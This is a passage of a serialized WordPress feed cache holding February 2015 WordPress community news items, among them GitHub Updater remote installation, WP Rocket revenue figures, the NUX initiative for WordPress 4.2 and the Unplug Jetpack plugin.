Themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38758\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:98:\"http://wptavern.com/github-updater-4-1-to-add-remote-installation-for-wordpress-plugins-and-themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3688:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg\" rel=\"prettyphoto[38758]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg?resize=1025%2C381\" alt=\"WordPress Versus Github\" class=\"aligncenter size-full wp-image-15216\" /></a></p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is a plugin that developers often use to enable automatic updates to GitHub or Bitbucket-hosted WordPress plugins and themes. The project was started in July 2013 by <a href=\"http://thefragens.com/\" target=\"_blank\">Andy Fragen</a>, a trauma surgeon and plugin developer. Over the past two years GitHub Updater has received improvements from 14 <a href=\"https://github.com/afragen/github-updater/graphs/contributors\" target=\"_blank\">contributors</a>.</p>\n<p>Fragen&#8217;s work on GitHub Updater makes it possible for developers to stay in their <a href=\"http://wptavern.com/wordpress-org-vs-github-for-hosting-wordpress-plugins-and-themes\" target=\"_blank\">preferred GitHub/Bitbucket workflow</a> and still ship updates for plugins and themes to their users. After reading about how <a href=\"http://wptavern.com/wp-pusher-aims-to-provide-pain-free-deployment-of-wordpress-themes-and-plugins-from-github\" target=\"_blank\">WP Pusher is extending WordPress&#8217; built-in auto updater to deploy remotely hosted themes and plugins</a>, Fragen was inspired to investigate the possibility of adding remote installation of WordPress extensions to his GitHub Updater.</p>\n<p>He now has the <code>develop</code> branch of the project working to successfully install both public and private GitHub or Bitbucket repositories remotely. &#8220;I must confess, the hardest part was getting everything in the Settings API functioning,&#8221; Fragen said.</p>\n<p>With the help of some code from the <a href=\"https://wordpress.org/plugins/zero-spam/\" target=\"_blank\">WordPress Zero Spam</a> plugin by Ben Marshall, and a few lines from <a href=\"http://tgmpluginactivation.com/\" target=\"_blank\">TGM Plugin Activation</a> by Thomas Griffin, he was able to get a tabbed settings interface in place in addition to the plugin dependency portion of the task.</p>\n<p>&#8220;After setting up the tabs in the Settings page I was able to simply create the correct endpoint for GitHub and Bitbucket,&#8221; Fragen said. &#8220;I thought allowing for private repository remote installation might prove more difficult but a couple of modifications in other parts of the plugin made this relatively painless. It certainly makes downloading a repo from GitHub, renaming it correctly, and then uploading it a single-click experience.&#8221;</p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is <a href=\"https://github.com/afragen/github-updater/issues/34\" target=\"_blank\">not allowed in the WordPress.org directory</a>, as the guidelines forbid official plugins from allowing updates from anywhere outside of WordPress.org. Developers usually opt for using the GitHub Updater when they want to host their plugins on GitHub/Bitbucket, or need to provide updates for private repositories.</p>\n<p>The <a href=\"http://thefragens.com/2015/02/github-updater-and-remote-installation/\" target=\"_blank\">4.1 release of GitHub Updater</a> will include both remote installation and automatic updating in one package. If you want to test the functionality now, you can check out the <code>develop</code> branch. Feel free to log your issues and feedback on <a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub</a>, as Fragen will be incorporating bug fixes into the 4.1 release.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:32:56 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:25;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: WP Rocket Grows From $0 to $35K in Monthly Revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38729\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3947:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png\" rel=\"prettyphoto[38729]\"><img class=\"aligncenter size-full wp-image-38763\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png?resize=672%2C281\" alt=\"WP Rocket Featured Image\" /></a></p>\n<p>WP Media, the company behind WordPress caching plugin WP Rocket, <a title=\"http://blog.wp-rocket.me/transparency-matters/\" href=\"http://blog.wp-rocket.me/transparency-matters/\">published a post</a> that highlights how successful the plugin has been since launching a year and a half ago. When we wrote about the <a title=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\" href=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\">international launch of WP Rocket</a>, we questioned whether it would be able to compete against all of the free, robust options available.</p>\n<p>In a show of transparency, WP Media shares stats that indicate the plugin is doing well. Since launching a year and a half ago, WP Rocket has achieved the following milestones while being a 100% bootstrapped company:</p>\n<ul>\n<li>$0 to $35 000 in monthly revenue</li>\n<li>0 to +15 000 websites using WP Rocket</li>\n<li>0 to +4300 customers.</li>\n</ul>\n<p>Despite launching the product without a business plan, customers have shown they&#8217;re willing to buy a caching solution that&#8217;s simple to configure and use.</p>\n<p>Jean-Baptiste Marchand-Arvier, Co-founder of WP Rocket, says the move towards greater transparency is inspired by other companies that have revealed revenue numbers, recruitment strategies, and productivity tips.</p>\n<blockquote><p>We are really inspired by great companies like <a href=\"https://bufferapp.com/\">Buffer</a>, <a href=\"http://baremetrics.io\">Baremetrics</a> and <a href=\"https://mattermark.com/\">Mattermark</a> where transparency is a company culture. They share it through several channels:</p>\n<ul>\n<li><a href=\"https://open.bufferapp.com\">Buffer Open Blog</a>, “Our journey to greater productivity, more transparency and a happier work culture”</li>\n<li><a href=\"https://medium.com/@DanielleMorrill\">Medium posts of Danielle Morrill</a>, CEO and Cofounder of Mattermark</li>\n<li><a href=\"https://baremetrics.io/blog\">Baremetrics Blog</a></li>\n</ul>\n<p><strong>These companies have helped us greatly</strong> by sharing a lot of internal information including their monthly revenue, and more.</p></blockquote>\n<p>At the end of 2014, <a title=\"https://pippinsplugins.com/2014-review/\" href=\"https://pippinsplugins.com/2014-review/\">Easy Digital Downloads</a> and <a title=\"http://wpninjas.com/2014-review/\" href=\"http://wpninjas.com/2014-review/\">WP Ninjas</a> published year-end reviews that show how well each plugin has done. However, Matt Medeiros, of MattReport.com <a title=\"http://mattreport.com/precursor-greatness/\" href=\"http://mattreport.com/precursor-greatness/\">cautions,</a> that while reading about the success of others can be motivational, it can also be depressing.</p>\n<blockquote><p>Entrepreneurs or small business owners that have been in the game month-after-month or 3 years in still struggling to make it. “Everyone is doing better shit than me.” or “Look at the money they are making! Why can’t I?”</p>\n<p>The new social has amplified everyone else’s success while making yours seem insignificant.</p></blockquote>\n<p>I want to see as many companies as possible open up to their customers and readers by publishing revenue numbers and strategies that don&#8217;t work out as intended. Aside from knowing the numbers, I think a lot of people in the community would love to read about the struggles businesses are having and what they&#8217;re doing to overcome them.</p>\n<p>WP Rocket is proving that, despite jumping into an established market, there&#8217;s enough room for new products to grow.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:21:25 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:26;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"WPTavern: The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38717\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2200:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png\" rel=\"prettyphoto[38717]\"><img class=\"size-full wp-image-38718\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png?resize=668%2C262\" alt=\"Press Publish Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/38072565@N00/462857539\">Publish Akku</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nc/2.0/\">(license)</a>\n<p>Those who use the <a title=\"https://wordpress.org/\" href=\"https://wordpress.org/\">self hosted version of WordPress</a> have access to <a title=\"http://central.wordcamp.org/\" href=\"http://central.wordcamp.org/\">WordCamps</a>, annual conferences dedicated to WordPress. Meanwhile, there has never been a conference focused on WordPress.com.</p>\n<p><a title=\"http://presspublish.events/\" href=\"http://presspublish.events/\">Press Publish</a> is a new <a title=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\" href=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\">series of events</a> focused on WordPress.com and Jetpack. The first is scheduled for <a title=\"http://presspublish.events/events/portland/\" href=\"http://presspublish.events/events/portland/\">March 28th, 2015 in Portland, OR</a>. There&#8217;s also a second event scheduled for <a title=\"http://presspublish.events/events/phoenix/\" href=\"http://presspublish.events/events/phoenix/\">April 18th, 2015 in Phoenix, AZ</a>.</p>\n<p>Each event lasts for one day and has two tracks. Speakers will share their personal success stories on using the WordPress.com platform. There will also be a handful of Automatticians on hand to answer any questions. Registration is open for both events and costs $250.00.</p>\n<p>Press Publish is an opportunity for attendees to learn from some of the brightest minds who make a living publishing content on WordPress.com. It&#8217;s also an opportunity for attendees to speak with Automatticians face to face to suggest features or enhancements to the service. The events and locations are part of a pilot program that, if successful, will likely spread to other places around the world.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:00:59 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:27;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"WPTavern: Initiative Aims to Improve the New User Experience in WordPress 4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38655\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4889:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png\" rel=\"prettyphoto[38655]\"><img class=\"size-full wp-image-38713\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png?resize=650%2C200\" alt=\"New User Experience Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/35034347371@N01/414920055\">zu.com &#8211; Image136</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Drew Jaynes, who is <a title=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\" href=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\">leading the release cycle</a> for WordPress 4.2 <a title=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\" href=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\">announced on the Make.WordPress.core blog,</a> that a new community initiative has been launched called NUX or New User Experience. The group is made up of more than 15 members of the WordPress community who have experience in onboarding clients, training clients, and work with new users on a regular basis. According to the announcement, the group&#8217;s main task is as follows:</p>\n<blockquote><p>The group will be tasked with helping to identify common pain points new users might experience using WordPress. The hope is to (re)invigorate the conversation about making NUX a priority in core decision-making. We’ll work together to identify problems and recommend solutions.</p></blockquote>\n<p>With regards to 4.2, the group will brainstorm actionable goals and make recommendations to improve the new user experience throughout the WordPress backend. Jaynes says, &#8220;These changes would likely include improvements to contextual help on various screens, improvements to the content of the Welcome Panel, as well as adjustments to many other established workflows in core interfaces including the installation process.&#8221;</p>\n<p>Recommendations large and small will receive direct feedback from core developers. This provides an opportunity for new users to immediately contribute back to WordPress. The group&#8217;s first meeting will be held <a href=\"http://www.timeanddate.com/worldclock/fixedtime.html?iso=20150210T1900\"><abbr class=\"date\" title=\"2015-02-10T19:00:00+00:00\">Tuesday, February 10, 2015 14:00 UTC-5</abbr></a> in the <a href=\"https://wordpress.slack.com/messages/core-flow/\">#core-flow</a> channel on <a href=\"https://make.wordpress.org/chat\">Slack</a>.</p>\n<h2>Re-establishing Easy as a Selling Point</h2>\n<p>I&#8217;ve used WordPress since 2008 and one of its strongest selling points has always been that it&#8217;s easy to use. However, as WordPress has advanced, I think it&#8217;s become progressively more difficult to use. Within the last two years, several articles have highlighted the increasing difficulty in using and explaining WordPress.</p>\n<ul>\n<li><a title=\"http://mor10.com/wordpress-easy-thats-ok/\" href=\"http://mor10.com/wordpress-easy-thats-ok/\">WordPress is not easy – and that’s OK</a></li>\n<li><a title=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\" href=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\">Have We Been Misleading People about WordPress?</a></li>\n<li><a title=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\" href=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\">Why Is Explaining WordPress To Someone So Hard?</a></li>\n</ul>\n<p>I think a good base to start from to improve the user experience is Jen Mylo&#8217;s <a title=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\" href=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\">site setup journal experiment</a>. In the series, Mylo documents what it&#8217;s like as a new user to install WordPress on a host, setup a website, and browse through documentation. <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\">Part 1</a> covers domains and hosting while <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\">part 2</a> is about setting up WordPress. Her journey is an eye-opening experience and shows how many areas of WordPress are ripe for improvement.</p>\n<p>If WordPress is going to achieve <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\">50% market share</a>, it needs to be easy to install and use. The New User Experience initiative is a good step towards ensuring the future of WordPress adoption.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 19:42:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:28;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"Matt: Fusion.net\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44663\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"http://ma.tt/2015/02/fusion-net/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:347:\"<p>There&#8217;s <a href=\"http://fusion.net/\">a relatively new site called Fusion.net that is definitely worth checking out</a>, it&#8217;s already full of great articles and they&#8217;re <a href=\"http://techmeme.com/lb\">starting to climb up the Techmeme Leaderboard</a>. They run on <a href=\"http://vip.wordpress.com/\">WordPress.com VIP</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:30:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:29;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"WPTavern: Unplug Jetpack: Use Jetpack Modules Without Connecting to WordPress.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38723\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/unplug-jetpack-use-jetpack-modules-without-connecting-to-wordpress-com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2837:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg\" rel=\"prettyphoto[38723]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg?resize=1024%2C510\" alt=\"photo credit: Unplugged - (license)\" class=\"size-full wp-image-38734\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/23307937@N04/3415991748\">Unplugged</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Connecting a WordPress.com account in order to use Jetpack can be a hassle, especially when developing for clients or working on your local machine. If you like Jetpack but don&#8217;t want to connect to WordPress.com, there&#8217;s a new plugin that makes it easy to use the features that don&#8217;t require a connection.</p>\n<p><a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> was created by WordPress developer <a href=\"http://tannermoushey.com/\" target=\"_blank\">Tanner Moushey</a>. With the plugin activated, you won&#8217;t be required to connect to WordPress.com unless you need to use Site stats, Publicize, Related Posts, etc. If you don&#8217;t see the module you&#8217;re looking for among the others, that means that it likely requires a WordPress.com connection in order to use it.</p>\n<p>The Unplug Jetpack plugin essentially puts Jetpack into development mode. Development mode was introduced in Jetpack <a href=\"http://jetpack.me/2013/03/28/jetpack-dev-mode-release/\" target=\"_blank\">2.2.1</a> to help developers with local testing. It allows you to use features that do not require a connection to WordPress.com servers. Ordinarily, turning on development mode requires adding a line to your wp-config.php file or employing the filter via a plugin.</p>\n<p>Unplug Jetpack is convenient, because it allows you to turn development mode on/off using a plugin. It uses the Jetpack-supported method for doing this and consists of just a couple lines of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">\nfunction uj_init() {\n	add_filter( \'jetpack_development_mode\', \'__return_true\' );\n}\nadd_action( \'plugins_loaded\', \'uj_init\' );\n</pre>\n<p>When asked whether or not the plugin offers a performance boost as opposed to using non-WordPress.com dependent modules with the connection to WordPress.com, Moushey <a href=\"https://twitter.com/tannermoushey/status/564189285071351808\" target=\"_blank\">said</a> that it&#8217;s unlikely to have a significant performance impact. &#8220;But that is not really the point of this,&#8221; he said. It&#8217;s the principle of the matter &#8211; being able to use Jetpack&#8217;s code without the requirement of connecting to a third party. <a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> lets you do that with the flip of a switch.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:22:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:30;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"Matt: What is a Hacker?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44661\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/what-is-a-hacker/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:150:\"<p>Steven Levy asks <a href=\"https://medium.com/backchannel/what-is-a-hacker-51257cad8b54\">What is a Hacker? and gets some great answers back</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 01:08:47 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:31;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"Matt: Productivity of Working from Home\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44659\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://ma.tt/2015/02/productivity-of-working-from-home/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:270:\"<p>FiveThirtyEight 